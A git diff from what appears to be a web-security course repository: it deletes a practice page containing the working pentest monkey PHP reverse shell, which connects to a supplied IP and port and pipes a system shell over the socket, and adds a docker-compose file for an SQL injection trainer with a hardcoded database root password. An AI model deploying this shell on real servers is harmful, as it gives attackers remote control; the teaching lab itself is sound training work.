diff --git a/Week2/WebShellPlayground/php/html/shells/pentest-monkey.php b/Week2/WebShellPlayground/php/html/shells/pentest-monkey.php deleted file mode 100644 index e1c984b..0000000 --- a/Week2/WebShellPlayground/php/html/shells/pentest-monkey.php +++ /dev/null @@ -1,254 +0,0 @@ - - - - - - - - - - - - - PHP Shells - - - - -
- -
-

Pentest Monkey Reverse Shell

- -

This page has a copy of the pentest monkey shell. It will let you practice - spawning a shell on the server without having to upload the shell in the first place. -

- - -
-
- - -
- -
-
- - - - - - - IP SET AS ".$ip."
"; - } - else { - echo "
SET IP ADDRESS!
"; - echo ""; - exit(0); - } - - - - - // - // Daemonise ourself if possible to avoid zombies later - // - - // pcntl_fork is hardly ever available, but will allow us to daemonise - // our php process and avoid zombies. Worth a try... - if (function_exists('pcntl_fork')) { - // Fork and have the parent process exit - $pid = pcntl_fork(); - - if ($pid == -1) { - printit("ERROR: Can't fork"); - exit(1); - } - - if ($pid) { - exit(0); // Parent exits - } - - // Make the current process a session leader - // Will only succeed if we forked - if (posix_setsid() == -1) { - printit("Error: Can't setsid()"); - exit(1); - } - - $daemon = 1; - } else { - printit("WARNING: Failed to daemonise. This is quite common and not fatal."); - } - - // Change to a safe directory - chdir("/"); - - // Remove any umask we inherited - umask(0); - - // - // Do the reverse shell... - // - - // Open reverse connection - $sock = fsockopen($ip, $port, $errno, $errstr, 30); - if (!$sock) { - printit("$errstr ($errno)"); - exit(1); - } - - // Spawn shell process - $descriptorspec = array( - 0 => array("pipe", "r"), // stdin is a pipe that the child will read from - 1 => array("pipe", "w"), // stdout is a pipe that the child will write to - 2 => array("pipe", "w") // stderr is a pipe that the child will write to - ); - - $process = proc_open($shell, $descriptorspec, $pipes); - - if (!is_resource($process)) { - printit("ERROR: Can't spawn shell"); - exit(1); - } - - // Set everything to non-blocking - // Reason: Occsionally reads will block, even though stream_select tells us they won't - stream_set_blocking($pipes[0], 0); - stream_set_blocking($pipes[1], 0); - stream_set_blocking($pipes[2], 0); - stream_set_blocking($sock, 0); - - printit("Successfully opened reverse shell to $ip:$port"); - - while (1) { - // Check for end of TCP connection - if (feof($sock)) { - printit("ERROR: Shell connection terminated"); - break; - } - - // Check for end of STDOUT - if (feof($pipes[1])) { - printit("ERROR: Shell process terminated"); - break; - } - - // Wait until a command is end down $sock, or some - // command output is available on STDOUT or STDERR - $read_a = array($sock, $pipes[1], $pipes[2]); - $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); - - // If we can read from the TCP socket, send - // data to process's STDIN - if (in_array($sock, $read_a)) { - if ($debug) printit("SOCK READ"); - $input = fread($sock, $chunk_size); - if ($debug) printit("SOCK: $input"); - fwrite($pipes[0], $input); - } - - // If we can read from the process's STDOUT - // send data down tcp connection - if (in_array($pipes[1], $read_a)) { - if ($debug) printit("STDOUT READ"); - $input = fread($pipes[1], $chunk_size); - if ($debug) printit("STDOUT: $input"); - fwrite($sock, $input); - } - - // If we can read from the process's STDERR - // send data down tcp connection - if (in_array($pipes[2], $read_a)) { - if ($debug) printit("STDERR READ"); - $input = fread($pipes[2], $chunk_size); - if ($debug) printit("STDERR: $input"); - fwrite($sock, $input); - } - } - - fclose($sock); - fclose($pipes[0]); - fclose($pipes[1]); - fclose($pipes[2]); - proc_close($process); - - // Like print, but does nothing if we've daemonised ourself - // (I can't figure out how to redirect STDOUT like a proper daemon) - function printit ($string) { - if (!$daemon) { - print "$string\n"; - } - } - - ?> - - - - - diff --git a/Week6_SQLi/Trainer/docker-compose.yaml b/Week6_SQLi/Trainer/docker-compose.yaml new file mode 100644 index 0000000..6910330 --- /dev/null +++ b/Week6_SQLi/Trainer/docker-compose.yaml @@ -0,0 +1,25 @@ +version: '3' +services: + web: + image: 7024cem/webtrainer + ports: + - "80:80" + networks: + - main_network + + database: + image: 7024cem/webdb + environment: + - MYSQL_ROOT_PASSWORD=cueh + networks: + - main_network + ports: + - 3306:3306 + +networks: + main_network: + driver: bridge + ipam: + config: + - subnet : 172.18.0.0/24 +